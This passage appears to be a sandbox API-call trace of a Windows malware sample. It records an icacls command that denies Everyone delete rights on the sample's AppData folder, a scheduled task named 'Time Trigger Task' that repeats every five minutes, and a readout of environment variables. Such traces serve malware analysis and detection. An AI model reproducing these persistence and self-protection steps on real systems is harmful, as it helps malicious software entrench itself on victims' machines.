lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff" [0084.105] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0084.105] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18e8b0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e90c | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18e90c*(hProcess=0x5b8, hThread=0x5bc, dwProcessId=0xa48, dwThreadId=0xa4c)) returned 1 [0084.128] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.138] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.153] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.169] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.187] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.200] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.354] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.356] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.374] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.387] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.405] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.419] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.434] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.450] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.465] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0084.481] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x0 [0084.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2f91a58 | out: hHeap=0x660000) returned 1 [0084.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fea8d0 | out: hHeap=0x660000) returned 1 [0084.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x2f8a8a8 [0084.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x2f8a970 [0084.484] CoInitialize (pvReserved=0x0) returned 0x0 [0085.290] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0085.291] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x2f8aa38 [0085.291] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18e974 | out: ppv=0x18e974*=0x27408e0) returned 0x0 [0085.532] TaskScheduler:ITaskService:Connect (This=0x27408e0, serverName=0x18e400*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18e410*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18e420*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18e430*(varType=0x0, wReserved1=0x2fc, wReserved2=0xe91c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x660000)) returned 0x0 [0085.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc20 [0085.535] TaskScheduler:ITaskService:GetFolder (in: This=0x27408e0, Path="\\", ppFolder=0x18e97c | out: ppFolder=0x18e97c*=0x93ff98) returned 0x0 [0085.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc20 | out: hHeap=0x660000) returned 1 [0085.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc20 [0085.537] ITaskFolder:DeleteTask (This=0x93ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0085.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc20 | out: hHeap=0x660000) returned 1 [0085.537] TaskScheduler:ITaskService:NewTask (in: This=0x27408e0, flags=0x0, ppDefinition=0x18e980 | out: ppDefinition=0x18e980*=0x2740968) returned 0x0 [0085.540] TaskScheduler:IUnknown:Release (This=0x27408e0) returned 0x1 [0085.540] ITaskDefinition:get_RegistrationInfo (in: This=0x2740968, ppRegistrationInfo=0x18e954 | out: ppRegistrationInfo=0x18e954*=0x2740a28) returned 0x0 [0085.541] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.541] IRegistrationInfo:put_Author (This=0x2740a28, Author="Author Name") returned 0x0 [0085.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.541] IUnknown:Release (This=0x2740a28) returned 0x1 [0085.541] ITaskDefinition:get_Principal (in: This=0x2740968, ppPrincipal=0x18e95c | out: ppPrincipal=0x18e95c*=0x2740bb8) returned 0x0 [0085.541] IPrincipal:put_LogonType (This=0x2740bb8, LogonType=3) returned 0x0 [0085.541] IUnknown:Release (This=0x2740bb8) returned 0x1 [0085.541] ITaskDefinition:get_Settings (in: This=0x2740968, ppSettings=0x18e964 | out: ppSettings=0x18e964*=0x2740ad8) returned 0x0 [0085.542] ITaskSettings:put_StartWhenAvailable (This=0x2740ad8, StartWhenAvailable=1) returned 0x0 [0085.542] IUnknown:Release (This=0x2740ad8) returned 0x1 [0085.542] ITaskSettings:get_IdleSettings (in: This=0x2740ad8, ppIdleSettings=0x18e948 | out: ppIdleSettings=0x18e948*=0x2740b48) returned 0x0 [0085.542] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.542] IIdleSettings:put_WaitTimeout (This=0x2740b48, WaitTimeout="PT5M") returned 0x0 [0085.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.542] IUnknown:Release (This=0x2740b48) returned 0x1 [0085.542] ITaskDefinition:get_Triggers (in: This=0x2740968, ppTriggers=0x18e944 | out: ppTriggers=0x18e944*=0x2740a98) returned 0x0 [0085.542] ITriggerCollection:Create (in: This=0x2740a98, Type=1, ppTrigger=0x18e950 | out: ppTrigger=0x18e950*=0x2740c18) returned 0x0 [0085.543] IUnknown:Release (This=0x2740a98) returned 0x1 [0085.543] IUnknown:QueryInterface (in: This=0x2740c18, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18e96c | out: ppvObject=0x18e96c*=0x2740c18) returned 0x0 [0085.543] IUnknown:Release (This=0x2740c18) returned 0x2 [0085.543] ITrigger:get_Repetition (in: This=0x2740c18, ppRepeat=0x18e958 | out: ppRepeat=0x18e958*=0x2740c68) returned 0x0 [0085.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.543] IRepetitionPattern:put_Interval (This=0x2740c68, Interval="PT5M") returned 0x0 [0085.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.543] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.543] IRepetitionPattern:put_Duration (This=0x2740c68, Duration="") returned 0x0 [0085.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.546] ITrigger:put_Repetition (This=0x2740c18, Repetition=0x2740c68) returned 0x0 [0085.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.546] ITrigger:put_Id (This=0x2740c18, Id="Trigger1") returned 0x0 [0085.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x2fabc50 [0085.546] ITrigger:put_EndBoundary (This=0x2740c18, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0085.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fabc50 | out: hHeap=0x660000) returned 1 [0085.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e42c | out: lpSystemTimeAsFileTime=0x18e42c*(dwLowDateTime=0xe76dacd0, dwHighDateTime=0x1d50371)) [0085.547] GetLastError () returned 0x0 [0085.547] SetLastError (dwErrCode=0x0) [0085.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x2fea370 [0085.547] GetLastError () returned 0x0 [0085.547] SetLastError (dwErrCode=0x0) [0085.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0085.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x1f) returned 0x2feb900 [0085.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x2feb900, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0085.547] GetLastError () returned 0x0 [0085.547] SetLastError (dwErrCode=0x0) [0085.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x2f51ec8 [0085.547] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2f51ec8) returned 0x4 [0085.547] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2f51ec8, Size=0x8) returned 0x2f51ef8 [0085.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0085.547] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x36) returned 0x719668 [0085.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x719668, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0085.547] GetLastError () returned 0x0 [0085.547] SetLastError (dwErrCode=0x0) [0085.547] GetLastError () returned 0x0 [0085.547] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2f51ef8) returned 0x8 [0085.548] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2f51ef8, Size=0xc) returned 0x2fabc50 [0085.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0085.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x37) returned 0x2fe3da8 [0085.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2fe3da8, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fabc50) returned 0xc [0085.548] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fabc50, Size=0x10) returned 0x2fabc80 [0085.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0085.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3c) returned 0x2fb55a8 [0085.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2fb55a8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.548] SetLastError (dwErrCode=0x0) [0085.548] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fabc80) returned 0x10 [0085.549] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fabc80, Size=0x14) returned 0x70ab90 [0085.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0085.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x31) returned 0x2fe3d28 [0085.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2fe3d28, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.549] GetLastError () returned 0x0 [0085.549] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70ab90) returned 0x14 [0085.550] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x70ab90, Size=0x18) returned 0x70a7b0 [0085.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0085.550] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x17) returned 0x70ab90 [0085.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x70ab90, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.550] SetLastError (dwErrCode=0x0) [0085.550] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70a7b0) returned 0x18 [0085.551] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x70a7b0, Size=0x1c) returned 0x2feb928 [0085.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0085.551] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x24) returned 0x2fea3a0 [0085.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x2fea3a0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.551] GetLastError () returned 0x0 [0085.551] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] SetLastError (dwErrCode=0x0) [0085.552] GetLastError () returned 0x0 [0085.552] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2feb928) returned 0x1c [0085.552] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2feb928, Size=0x20) returned 0x2feb950 [0085.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0085.552] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x14) returned 0x70a7b0 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x70a7b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0085.553] GetLastError () returned 0x0 [0085.553] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2feb950) returned 0x20 [0085.553] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2feb950, Size=0x24) returned 0x2fea550 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0085.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xd) returned 0x2fabc80 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x2fabc80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0085.553] GetLastError () returned 0x0 [0085.553] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fea550) returned 0x24 [0085.553] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fea550, Size=0x28) returned 0x2fea520 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0085.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x25) returned 0x2fea550 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2fea550, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0085.553] GetLastError () returned 0x0 [0085.553] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fea520) returned 0x28 [0085.553] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fea520, Size=0x2c) returned 0x2fa2bb0 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0085.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x39) returned 0x2fb55f0 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x2fb55f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0085.553] GetLastError () returned 0x0 [0085.553] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa2bb0) returned 0x2c [0085.553] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa2bb0, Size=0x30) returned 0x2fa2b40 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0085.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x18) returned 0x70abb0 [0085.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x70abb0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0085.553] GetLastError () returned 0x0 [0085.553] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x2fa2b40) returned 0x30 [0085.553] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x2fa2b40, Size=0x34) returned 0x2fe3de8 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0085.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x17) returned 0x2fe5810 [0085.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x2fe5810, cbMultiByte=23, lpDefaultChar=0x0, 